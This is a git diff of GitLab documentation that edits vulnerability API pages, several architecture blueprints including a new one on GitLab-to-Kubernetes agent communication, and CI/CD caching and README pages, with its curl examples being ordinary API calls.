+WARNING:
This API is in an alpha stage and considered unstable.
The response payload may be subject to change or breakage
across GitLab releases.
@@ -83,7 +83,7 @@ POST /security/groups/:id/vulnerability_exports
| `id` | integer or string | yes | The ID or [URL-encoded path](README.md#namespaced-path-encoding) of the group which the authenticated user is a member of |
```shell
-curl --header POST "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/security/groups/1/vulnerability_exports
+curl --header POST "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/groups/1/vulnerability_exports"
```
The created vulnerability export is automatically deleted after 1 hour.
@@ -116,7 +116,7 @@ POST /security/vulnerability_exports
```
```shell
-curl --header POST "PRIVATE-TOKEN: <your_access_token>" https://gitlab.example.com/api/v4/security/vulnerability_exports
+curl --header POST "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/vulnerability_exports"
```
The created vulnerability export is automatically deleted after one hour.
@@ -193,7 +193,7 @@ GET /security/vulnerability_exports/:id/download
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/security/vulnerability_exports/2/download"
```
-The response will be `404 Not Found` if the vulnerability export is not finished yet or was not found.
+The response is `404 Not Found` if the vulnerability export is not finished yet or was not found.
Example response:
diff --git a/doc/api/vulnerability_findings.md b/doc/api/vulnerability_findings.md
index bfb1306e4aa..95e4774ae96 100644
--- a/doc/api/vulnerability_findings.md
+++ b/doc/api/vulnerability_findings.md
@@ -1,14 +1,14 @@
---
stage: Secure
group: Threat Insights
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Vulnerability Findings API **(ULTIMATE)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19029) in GitLab Ultimate 12.5.
-NOTE: **Note:**
+NOTE:
This API resource is renamed from Vulnerabilities to Vulnerability Findings because the Vulnerabilities are reserved
for serving [Vulnerability objects](https://gitlab.com/gitlab-org/gitlab/-/issues/13561).
To fix any broken integrations with the former Vulnerabilities API, change the `vulnerabilities` URL part to be
@@ -18,13 +18,13 @@ Every API call to vulnerability findings must be [authenticated](README.md#authe
Vulnerability findings are project-bound entities. If a user is not
a member of a project and the project is private, a request on
-that project will result in a `404` status code.
+that project results in a `404` status code.
If a user is able to access the project but does not have permission to
[use the Project Security Dashboard](../user/permissions.md#project-members-permissions),
-any request for vulnerability findings of this project will result in a `403` status code.
+any request for vulnerability findings of this project results in a `403` status code.
-CAUTION: **Caution:**
+WARNING:
This API is in an alpha stage and considered unstable.
The response payload may be subject to change or breakage
across GitLab releases.
@@ -53,7 +53,7 @@ GET /projects/:id/vulnerability_findings?scanner=bandit,find_sec_bugs
GET /projects/:id/vulnerability_findings?pipeline_id=42
```
-CAUTION: **Deprecation:**
+WARNING:
Beginning with GitLab 12.9, the `undefined` severity and confidence level is no longer reported.
| Attribute | Type | Required | Description |
@@ -99,6 +99,7 @@ Example response:
}
],
"project_fingerprint": "fa6f5b6c5d240b834ac5e901dc69f9484cef89ec",
+ "uuid": "31f483bc-bfc0-586d-9b92-f1015c4535b8",
"create_vulnerability_feedback_issue_path": "/tests/yarn-remediation-test/vulnerability_feedback",
"create_vulnerability_feedback_merge_request_path": "/tests/yarn-remediation-test/vulnerability_feedback",
"create_vulnerability_feedback_dismissal_path": "/tests/yarn-remediation-test/vulnerability_feedback",
diff --git a/doc/api/wikis.md b/doc/api/wikis.md
index a8c002d4fac..dfbedc9bfd1 100644
--- a/doc/api/wikis.md
+++ b/doc/api/wikis.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Knowledge
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
type: reference, api
---
diff --git a/doc/architecture/blueprints/cloud_native_build_logs/index.md b/doc/architecture/blueprints/cloud_native_build_logs/index.md
index f901a724653..3aba10fc758 100644
--- a/doc/architecture/blueprints/cloud_native_build_logs/index.md
+++ b/doc/architecture/blueprints/cloud_native_build_logs/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
description: 'Next iteration of build logs architecture at GitLab'
---
@@ -24,7 +24,7 @@ output to a file on a disk. This is simple, but this mechanism depends on
shared local storage - the same file needs to be available on every GitLab web
node machine, because GitLab Runner might connect to a different one every time
it performs an API request. Sidekiq also needs access to the file because when
-a job is complete, a trace file contents will be sent to the object store.
+a job is complete, the trace file contents are sent to the object store.
## New architecture
@@ -109,16 +109,22 @@ of complexity, maintenance cost and enormous, negative impact on availability.
1. ✓ Evaluate performance and edge-cases, iterate to improve the new architecture
1. ✓ Design cloud native build logs correctness verification mechanisms
1. ✓ Build observability mechanisms around performance and correctness
-1. Rollout the feature into production environment incrementally
+1. ✓ Rollout the feature into production environment incrementally
The work needed to make the new architecture production ready and enabled on
-GitLab.com is being tracked in [Cloud Native Build Logs on
+GitLab.com had been tracked in [Cloud Native Build Logs on
GitLab.com](https://gitlab.com/groups/gitlab-org/-/epics/4275) epic.
Enabling this feature on GitLab.com is a subtask of [making the new
architecture generally
available](https://gitlab.com/groups/gitlab-org/-/epics/3791) for everyone.
+## Status
+
+This change has been implemented and enabled on GitLab.com.
+
+We are working on [an epic to make this feature more resilient and observable](https://gitlab.com/groups/gitlab-org/-/epics/4860).
+
## Who
Proposal:
@@ -137,7 +143,7 @@ DRIs:
| Role | Who
|------------------------------|------------------------|
-| Product | Jason Yavorska |
+| Product | Thao Yeager |
| Leadership | Darby Frey |
| Engineering | Grzegorz Bizon |
diff --git a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md
index 27d2f1362e5..95ffcdd0b39 100644
--- a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md
+++ b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
description: 'Making GitLab Pages a Cloud Native application - architecture blueprint.'
---
@@ -72,9 +72,9 @@ of complexity, maintenance cost and enormous, negative impact on availability.
## New GitLab Pages Architecture
-- GitLab Pages is going to source domains' configuration from GitLab's internal
+- GitLab Pages sources domains' configuration from the GitLab internal
API, instead of reading `config.json` files from a local shared storage.
-- GitLab Pages is going to serve static content from Object Storage.
+- GitLab Pages serves static content from Object Storage.
```mermaid
graph TD
@@ -90,10 +90,10 @@ too.
## Iterations
-1. ✓ Redesign GitLab Pages configuration source to use GitLab's API
+1. ✓ Redesign GitLab Pages configuration source to use the GitLab API
1. ✓ Evaluate performance and build reliable caching mechanisms
1. ✓ Incrementally rollout the new source on GitLab.com
-1. ✓ Make GitLab Pages API domains config source enabled by default
+1. ✓ Make GitLab Pages API domains configuration source enabled by default
1. Enable experimentation with different servings through feature flags
1. Triangulate object store serving design through meaningful experiments
1. Design pages migration mechanisms that can work incrementally
diff --git a/doc/architecture/blueprints/feature_flags_development/index.md b/doc/architecture/blueprints/feature_flags_development/index.md
index 76fb5f5c7db..c92b4113465 100644
--- a/doc/architecture/blueprints/feature_flags_development/index.md
+++ b/doc/architecture/blueprints/feature_flags_development/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
description: 'Internal usage of Feature Flags for GitLab development'
---
@@ -119,7 +119,9 @@ This work is being done as part of dedicated epic: [Improve internal usage of
Feature Flags](https://gitlab.com/groups/gitlab-org/-/epics/3551). This epic
describes a meta reasons for making these changes.
-## Who
+## [Who](#who)
+
+### Blueprint
Proposal:
@@ -140,4 +142,24 @@ DRIs:
| Leadership | Craig Gomes |
| Engineering | Kamil Trzciński |
+### [Stakeholders](#stakeholders)
+
+| Role | Person | Title
+|--------------------|-----------------------|--------------------------------------------------------------------|
+| Executive Sponsor | Christopher Lefelhocz | Senior Director of Development |
+| Facilitator | Darby Frey | Senior Engineering Manager, Verify |
+| DRI / Leadership | Craig Gomes | Backend Engineering Manager, Memory and Database |
+| DRI / Engineering | Kamil Trzciński | Distinguished Engineer, Ops and Enablement |
+| DRI / Product | Kenny Johnston | Senior Director of Product Management, Ops |
+| Functional Lead | Ricky Wiens | Backend Engineering Manager, Verify:Testing |
+| Functional Lead | Anthony Sandoval | Engineering Manager, Reliability |
+| Functional Lead | James Heimbuck | Senior Product Manager, Verify:Testing |
+| Member | Grzegorz Bizon | Staff Backend Engineer, Verify |
+| Member | Michelle Gill | Engineering Manager, Create:Source Code |
+| Member | Wayne Haber | Director of Engineering, Threat Management |
+| Member | Doug Stull | Senior Fullstack Engineer, Growth:Expansion |
+| Member | Andrew Fontaine | Senior Frontend Engineer, Release |
+| Member | Rémy Coutable | Staff Backend Engineer, Engineering Productivity |
+| Member | Marin Jankovski | Senior Engineering Manager, Infrastructure, Delivery & Scalability |
+
<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md b/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md
new file mode 100644
index 00000000000..6c27ecca284
--- /dev/null
+++ b/doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md
@@ -0,0 +1,164 @@
+---
+stage: configure
+group: configure
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+comments: false
+description: 'GitLab to Kubernetes communication'
+---
+
+# GitLab to Kubernetes communication
+
+The goal of this document is to define how GitLab can communicate with Kubernetes
+and in-cluster services through the GitLab Kubernetes Agent.
+
+## Challenges
+
+### Lack of network connectivity
+
+For various features that exist today, GitLab communicates with Kubernetes by directly
+or indirectly calling its API endpoints. This works well, as long as a network
+path from GitLab to the cluster exists, which isn't always the case:
+
+- GitLab.com and a self-managed cluster, where the cluster is not exposed to the Internet.
+- GitLab.com and a cloud-vendor managed cluster, where the cluster is not exposed to the Internet.
+- Self-managed GitLab and a cloud-vendor managed cluster, where the cluster is not
+ exposed to the Internet and there is no private peering between the cloud network
+ and the customer's network.
+
+ This last item is the hardest to address, as something must give to create a network
+ path. This feature gives the customer an extra option (exposing the `gitlab-kas` domain but
+ not the whole GitLab) in addition to the existing options (peering the networks,
+ or exposing one of the two sides).
+
+Even if technically possible, it's almost always undesirable to expose a Kubernetes
+cluster's API to the Internet for security reasons. As a result, our customers
+are reluctant to do so, and are faced with a choice of security versus the features
+GitLab provides for connected clusters.
+
+This choice is true not only for Kubernetes' API, but for all APIs exposed by services
+running on a customer's cluster that GitLab may need to access. For example,
+Prometheus running in a cluster must be exposed for the GitLab integration to access it.
+
+### Cluster-admin permissions
+
+Both current integrations - building your own cluster (certificate-based) and GitLab-managed
+cluster in a cloud - require granting full `cluster-admin` access to GitLab. Credentials
+are stored on the GitLab side and this is yet another security concern for our customers.
+
+For more discussion on these issues, read
+[issue #212810](https://gitlab.com/gitlab-org/gitlab/-/issues/212810).
+
+## GitLab Kubernetes Agent epic
+
+To address these challenges and provide some new features, the Configure group
+is building an active in-cluster component that inverts the
+direction of communication:
+
+1. The customer installs an agent into their cluster.
+1. The agent connects to GitLab.com or their self-managed GitLab instance,
+ receiving commands from it.
+
+The customer does not need to provide any credentials to GitLab, and
+is in full control of what permissions the agent has.
+
+For more information, visit the
+[GitLab Kubernetes Agent repository](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent) or
+[the epic](https://gitlab.com/groups/gitlab-org/-/epics/3329).
+
+### Request routing
+
+Agents connect to the server-side component called GitLab Kubernetes Agent Server
+(`gitlab-kas`) and keep an open connection that waits for commands. The
+difficulty with the approach is in routing requests from GitLab to the correct agent.
+Each cluster may contain multiple logical agents, and each may be running as multiple
+replicas (`Pod`s), connected to an arbitrary `gitlab-kas` instance.
+
+Existing and new features require real-time access to the APIs of the cluster
+and (optionally) APIs of components, running in the cluster. As a result, it's difficult to pass
+the information back and forth using the more traditional polling approach.
+
+A good example to illustrate the real-time need is Prometheus integration.
+If we wanted to draw real-time graphs, we would need direct access to the Prometheus API
+to make queries and quickly return results. `gitlab-kas` could expose the Prometheus API
+to GitLab, and transparently route traffic to one of the correct agents connected
+at the moment. The agent then would stream the request to Prometheus and stream the response back.
+
+## Proposal
+
+Implement request routing in `gitlab-kas`. Encapsulate and hide all related
+complexity from the main application by providing a clean API to work with Kubernetes
+and the agents.
+
+The above does not necessarily mean proxying Kubernetes' API directly, but that
+is possible should we need it.
+
+What APIs `gitlab-kas` provides depends on the features developed, but first
+we must solve the request routing problem. It blocks any and all features
+that require direct communication with agents, Kubernetes or in-cluster services.
+
+Detailed implementation proposal with all technical details is in
+[`kas_request_routing.md`](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent/-/blob/master/doc/kas_request_routing.md).
+
+```mermaid
+flowchart LR
+ subgraph "Kubernetes 1"
+ agentk1p1["agentk 1, Pod1"]
+ agentk1p2["agentk 1, Pod2"]
+ end
+
+ subgraph "Kubernetes 2"
+ agentk2p1["agentk 2, Pod1"]
+ end
+
+ subgraph "Kubernetes 3"
+ agentk3p1["agentk 3, Pod1"]
+ end
+
+ subgraph kas
+ kas1["kas 1"]
+ kas2["kas 2"]
+ kas3["kas 3"]
+ end
+
+ GitLab["GitLab Rails"]
+ Redis
+
+ GitLab -- "gRPC to any kas" --> kas
+ kas1 -- register connected agents --> Redis
+ kas2 -- register connected agents --> Redis
+ kas1 -- lookup agent --> Redis
+
+ agentk1p1 -- "gRPC" --> kas1
+ agentk1p2 -- "gRPC" --> kas2
+ agentk2p1 -- "gRPC" --> kas1
+ agentk3p1 -- "gRPC" --> kas2
+```
+
+### Iterations
+
+Iterations are tracked in [the dedicated epic](https://gitlab.com/groups/gitlab-org/-/epics/4591).
+
+## Who
+
+Proposal:
+
+<!-- vale gitlab.Spelling = NO -->
+
+| Role | Who
+|------------------------------|-------------------------|
+| Author | Mikhail Mazurskiy |
+| Architecture Evolution Coach | Andrew Newdigate |
+| Engineering Leader | Nicholas Klick |
+| Domain Expert | Thong Kuah |
+| Domain Expert | Graeme Gillies |
+| Security Expert | Vitor Meireles De Sousa |
+
+DRIs:
+
+| Role | Who
+|------------------------------|------------------------|
+| Product Lead | Viktor Nagy |
+| Engineering Leader | Nicholas Klick |
+| Domain Expert | Mikhail Mazurskiy |
+
+<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/architecture/blueprints/image_resizing/index.md b/doc/architecture/blueprints/image_resizing/index.md
index 47e2ad24960..9e5c45a715d 100644
--- a/doc/architecture/blueprints/image_resizing/index.md
+++ b/doc/architecture/blueprints/image_resizing/index.md
@@ -1,18 +1,18 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
description: 'Image Resizing'
---
# Image resizing for avatars and content images
-Currently, we are showing all uploaded images 1:1, which is of course not ideal. To improve performance greatly we will add image resizing to the backend. There are two main areas of image resizing to consider; avatars and content images. The MVC for this implementation will focus on Avatars. Avatars requests consist of approximately 70% of total image requests. There is an identified set of sizes we intend to support which makes the scope of this first MVC very narrow. Content image resizing has many more considerations for size and features. It is entirely possible that we have two separate development efforts with the same goal of increasing performance via image resizing.
+Currently, we are showing all uploaded images 1:1, which is of course not ideal. To improve performance greatly, add image resizing to the backend. There are two main areas of image resizing to consider; avatars and content images. The MVC for this implementation focuses on Avatars. Avatars requests consist of approximately 70% of total image requests. There is an identified set of sizes we intend to support which makes the scope of this first MVC very narrow. Content image resizing has many more considerations for size and features. It is entirely possible that we have two separate development efforts with the same goal of increasing performance via image resizing.
## MVC Avatar Resizing
-We will implement a dynamic image resizing solution. This means image should be resized and optimized on the fly so that if we define new targeted sizes later we can add them dynamically. This would mean a huge improvement in performance as some of the measurements suggest that we can save up to 95% of our current load size. Our initial investigations indicate that we have uploaded approximately 1.65 million avatars totaling approximately 80GB in size and averaging approximately 48kb each. Early measurements indicate we can reduce the most common avatar dimensions to between 1-3kb in size, netting us a greater than 90% size reduction. For the MVC we will not consider application level caching and rely purely on HTTP based caches as implemented in CDNs and browsers, but might revisit this decision later on. To easily mitigate performance issues with avatar resizing, especially in the case of self managed, an operations feature flag will be implemented to disable dynamic image resizing.
+When implementing a dynamic image resizing solution, images should be resized and optimized on the fly so that if we define new targeted sizes later we can add them dynamically. This would mean a huge improvement in performance as some of the measurements suggest that we can save up to 95% of our current load size. Our initial investigations indicate that we have uploaded approximately 1.65 million avatars totaling approximately 80GB in size and averaging approximately 48kb each. Early measurements indicate we can reduce the most common avatar dimensions to between 1-3kb in size, netting us a greater than 90% size reduction. For the MVC we don't consider application level caching and rely purely on HTTP based caches as implemented in CDNs and browsers, but might revisit this decision later on. To easily mitigate performance issues with avatar resizing, especially in the case of self managed, an operations feature flag is implemented to disable dynamic image resizing.
```mermaid
sequenceDiagram
diff --git a/doc/architecture/index.md b/doc/architecture/index.md
index 0cac646ea83..5dee2fd8a80 100644
--- a/doc/architecture/index.md
+++ b/doc/architecture/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
description: 'Architecture Practice at GitLab'
---
diff --git a/doc/ci/README.md b/doc/ci/README.md
index 45cf56df894..20234052808 100644
--- a/doc/ci/README.md
+++ b/doc/ci/README.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Integration, Continuous Deployment, and Continuous Delivery toolset to build, test, and deploy your application."
type: index
@@ -16,10 +16,10 @@ through the [continuous methodologies](introduction/index.md#introduction-to-cic
- Continuous Delivery (CD)
- Continuous Deployment (CD)
-TIP: **Tip:**
+NOTE:
Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more.
Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/)
-webcast to learn about continuous methods and how GitLab’s built-in CI can help you simplify and scale software development.
+webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development.
## Overview
@@ -55,7 +55,7 @@ at the repository's root. This file creates a [pipeline](pipelines/index.md), wh
To get started with GitLab CI/CD, we recommend you read through
the following documents:
-- [How GitLab CI/CD works](introduction/index.md#how-gitlab-cicd-works).
+- [Get started with GitLab CI/CD](quick_start/README.md).
- [Fundamental pipeline architectures](pipelines/pipeline_architectures.md).
- [GitLab CI/CD basic workflow](introduction/index.md#basic-cicd-workflow).
- [Step-by-step guide for writing `.gitlab-ci.yml` for the first time](../user/project/pages/getting_started/pages_from_scratch.md).
@@ -73,7 +73,7 @@ to your needs:
![Use a `.gitlab-ci.yml` template](img/add_file_template_11_10.png)
-While building your `.gitlab-ci.yml`, you can use the [CI/CD configuration visualization](yaml/visualization.md) to facilate your writing experience.
+While building your `.gitlab-ci.yml`, you can use the [CI/CD configuration visualization](yaml/visualization.md) to facilitate your writing experience.
For a broader overview, see the [CI/CD getting started](quick_start/README.md) guide.
@@ -96,6 +96,7 @@ GitLab CI/CD uses a number of concepts to describe and run your build and deploy
| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. |
| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. |
| [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. |
+| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. |
## Configuration
@@ -121,38 +122,38 @@ Note that certain operations can only be performed according to the
Use the vast GitLab CI/CD to easily configure it for specific purposes.
Its feature set is listed on the table below according to DevOps stages.
-| Feature | Description |
-|:--------|:------------|
-| **Configure** ||
-| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. |
-| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. |
-|---+---|
-| **Verify** ||
-| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. |
-| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. |
-| [CI services](services/README.md) | Link Docker containers with your base image.|
-| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. |
-| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. |
-| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. |
-| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. |
-| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. |
-|---+---|
-| **Release** ||
-| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. |
-| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. |
-| [Canary Deployments](../user/project/canary_deployments.md) **(PREMIUM)** | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. |
-| [Deploy Boards](../user/project/deploy_boards.md) **(PREMIUM)** | Check the current health and status of each CI/CD environment running on Kubernetes. |
-| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. |
-| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. |
-| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. |
-| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. |
-| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. |
-|---+---|
-| **Secure** ||
-| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities.|
-| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. |
-| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. |
-| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. |
+| Feature | Description |
+|:------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------|
+| **Configure** | |
+| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. |
+| [ChatOps](chatops/README.md) | Trigger CI jobs from chat, with results sent back to the channel. |
+|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------|
+| **Verify** | |
+| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. |
+| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. |
+| [CI services](services/README.md) | Link Docker containers with your base image. |
+| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. |
+| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. |
+| [Interactive Web Terminals](interactive_web_terminal/index.md) **(CORE ONLY)** | Open an interactive web terminal to debug the running jobs. |
+| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. |
+| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. |
+|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------|
+| **Release** | |
+| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. |
+| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. |
+| [Canary Deployments](../user/project/canary_deployments.md) **(PREMIUM)** | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. |
+| [Deploy Boards](../user/project/deploy_boards.md) | Check the current health and status of each CI/CD environment running on Kubernetes. |
+| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. |
+| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. |
+| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. |
+| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. |
+| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. |
+|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------|
+| **Secure** | |
+| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities. |
+| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. |
+| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. |
+| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. |
## Examples
diff --git a/doc/ci/autodeploy/index.md b/doc/ci/autodeploy/index.md
index ca2df72e32e..8c7d9c1da64 100644
--- a/doc/ci/autodeploy/index.md
+++ b/doc/ci/autodeploy/index.md
@@ -3,3 +3,6 @@ redirect_to: '../../topics/autodevops/stages.md#auto-deploy'
---
This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/autodeploy/quick_start_guide.md b/doc/ci/autodeploy/quick_start_guide.md
index ca2df72e32e..8c7d9c1da64 100644
--- a/doc/ci/autodeploy/quick_start_guide.md
+++ b/doc/ci/autodeploy/quick_start_guide.md
@@ -3,3 +3,6 @@ redirect_to: '../../topics/autodevops/stages.md#auto-deploy'
---
This document was moved to [another location](../../topics/autodevops/stages.md#auto-deploy).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/build_artifacts/README.md b/doc/ci/build_artifacts/README.md
index b63659c1878..4344a544798 100644
--- a/doc/ci/build_artifacts/README.md
+++ b/doc/ci/build_artifacts/README.md
@@ -3,3 +3,6 @@ redirect_to: '../../user/project/pipelines/job_artifacts.md'
---
This document was moved to [pipelines/job_artifacts.md](../../user/project/pipelines/job_artifacts.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md
index dfa92d469bc..e8b22a24017 100644
--- a/doc/ci/caching/index.md
+++ b/doc/ci/caching/index.md
@@ -1,7 +1,7 @@
---
stage: Verify
group: Continuous Integration
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index, concepts, howto
---
@@ -11,48 +11,49 @@ GitLab CI/CD provides a caching mechanism that can be used to save time
when your jobs are running.
Caching is about speeding the time a job is executed by reusing the same
-content of a previous job. It can be particularly useful when you are
+content of a previous job. Use caching when you are
developing software that depends on other libraries which are fetched via the
internet during build time.
If caching is enabled, it's shared between pipelines and jobs at the project
-level by default, starting from GitLab 9.0. Caches are not shared across
-projects.
+level by default. Caches are not shared across projects.
Make sure you read the [`cache` reference](../yaml/README.md#cache) to learn
how it is defined in `.gitlab-ci.yml`.
## Cache vs artifacts
-Be careful if you use cache and artifacts to store the same path in your jobs
-as **caches are restored before artifacts** and the content could be overwritten.
+If you use cache and artifacts to store the same path in your jobs, the cache might
+be overwritten because caches are restored before artifacts.
Don't use caching for passing artifacts between stages, as it is designed to store
runtime dependencies needed to compile the project:
- `cache`: **For storing project dependencies**
- Caches are used to speed up runs of a given job in **subsequent pipelines**, by
- storing downloaded dependencies so that they don't have to be fetched from the
- internet again (like npm packages, Go vendor packages, etc.) While the cache could
- be configured to pass intermediate build results between stages, this should be
- done with artifacts instead.
+ Caches can increase the speed of a given job in subsequent pipelines. You can
+ store downloaded dependencies so that they don't have to be fetched from the
+ internet again. Dependencies include things like npm packages, Go vendor packages, and so on.
